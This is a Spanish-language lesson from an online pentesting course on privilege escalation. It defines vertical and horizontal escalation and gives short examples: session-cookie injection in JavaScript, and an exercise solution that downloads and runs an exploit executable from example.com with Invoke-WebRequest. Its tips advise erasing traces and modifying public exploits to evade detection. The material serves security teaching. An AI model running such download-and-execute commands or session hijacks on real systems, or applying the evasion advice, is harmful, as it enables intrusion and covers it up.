La escalada de privilegios es una técnica utilizada en pentesting para obtener un nivel de acceso más alto del que se tiene inicialmente en un sistema. Este proceso es crucial para maximizar el impacto de una explotación y acceder a recursos que están protegidos por permisos más estrictos.
Conceptos Clave
- Privilegios: Los derechos y permisos que un usuario tiene en un sistema.
- Escalada de Privilegios Vertical: Obtener permisos de un nivel más alto (por ejemplo, de usuario a administrador).
- Escalada de Privilegios Horizontal: Obtener permisos de otro usuario con el mismo nivel de acceso (por ejemplo, de un usuario a otro usuario).
Tipos de Escalada de Privilegios
Escalada de Privilegios Vertical
- Objetivo: Obtener permisos administrativos o de root.
- Métodos Comunes:
- Explotación de Vulnerabilidades del Sistema: Utilizar exploits conocidos para vulnerabilidades en el sistema operativo.
- Errores de Configuración: Aprovechar configuraciones incorrectas que permiten la ejecución de comandos con permisos elevados.
- Credenciales Débiles: Encontrar y usar contraseñas débiles o por defecto.
Escalada de Privilegios Horizontal
- Objetivo: Acceder a los recursos de otro usuario con el mismo nivel de privilegios.
- Métodos Comunes:
- Robo de Sesiones: Capturar tokens de sesión o cookies.
- Ingeniería Social: Engañar a los usuarios para que revelen sus credenciales.
- Errores en la Gestión de Sesiones: Explotar fallos en la implementación de la gestión de sesiones.
Ejemplos Prácticos
Ejemplo 1: Escalada Vertical en Linux
Supongamos que hemos encontrado una vulnerabilidad en un sistema Linux que nos permite ejecutar comandos como root.
# Comando para explotar la vulnerabilidad ./exploit # Verificar que ahora tenemos permisos de root whoami # Salida esperada: root
Explicación:
./exploit
: Ejecuta un exploit que aprovecha una vulnerabilidad en el sistema.whoami
: Verifica el nivel de acceso actual. La salida "root" indica que hemos escalado privilegios exitosamente.
Ejemplo 2: Escalada Horizontal mediante Robo de Sesiones
Supongamos que hemos capturado una cookie de sesión de otro usuario en una aplicación web.
// JavaScript para inyectar la cookie de sesión capturada document.cookie = "session_id=abc123; path=/; domain=example.com"; // Refrescar la página para asumir la sesión del otro usuario window.location.reload();
Explicación:
document.cookie
: Establece la cookie de sesión capturada.window.location.reload()
: Recarga la página para aplicar la nueva sesión.
Ejercicio Práctico
Ejercicio 1: Escalada de Privilegios en un Sistema Windows
Objetivo: Utilizar una vulnerabilidad conocida para escalar privilegios en un sistema Windows.
Instrucciones:
- Encuentra una vulnerabilidad en el sistema Windows que permita la escalada de privilegios.
- Utiliza un exploit para aprovechar esta vulnerabilidad.
- Verifica que has obtenido permisos elevados.
Solución:
# Descargar y ejecutar un exploit conocido (por ejemplo, MS16-032) Invoke-WebRequest -Uri "http://example.com/exploit.exe" -OutFile "exploit.exe" .\exploit.exe # Verificar permisos elevados whoami # Salida esperada: NT AUTHORITY\SYSTEM
Explicación:
Invoke-WebRequest
: Descarga el exploit desde una URL..\exploit.exe
: Ejecuta el exploit descargado.whoami
: Verifica el nivel de acceso actual. La salida "NT AUTHORITY\SYSTEM" indica que hemos escalado privilegios exitosamente.
Errores Comunes y Consejos
- No Verificar los Permisos: Siempre verifica que has obtenido los permisos deseados después de ejecutar un exploit.
- No Limpiar Huellas: Asegúrate de eliminar cualquier rastro de tus actividades para evitar ser detectado.
- Usar Exploits Públicos sin Modificación: Los exploits públicos pueden ser detectados por sistemas de seguridad. Modifícalos para evitar detección.
Conclusión
La escalada de privilegios es una técnica esencial en el pentesting que permite a los atacantes maximizar su acceso y control sobre un sistema. Comprender los métodos y técnicas para escalar privilegios, tanto vertical como horizontalmente, es crucial para cualquier profesional de seguridad. En el próximo tema, exploraremos cómo mantener el acceso una vez que se ha obtenido, asegurando que el atacante pueda continuar sus actividades sin ser detectado.
Curso de Pentesting: Técnicas de Pruebas de Penetración
Módulo 1: Introducción al Pentesting
Módulo 2: Reconocimiento y Recolección de Información
Módulo 3: Escaneo y Enumeración
Módulo 4: Explotación de Vulnerabilidades
- Introducción a la Explotación
- Explotación de Vulnerabilidades Web
- Explotación de Vulnerabilidades de Red
- Explotación de Vulnerabilidades de Sistemas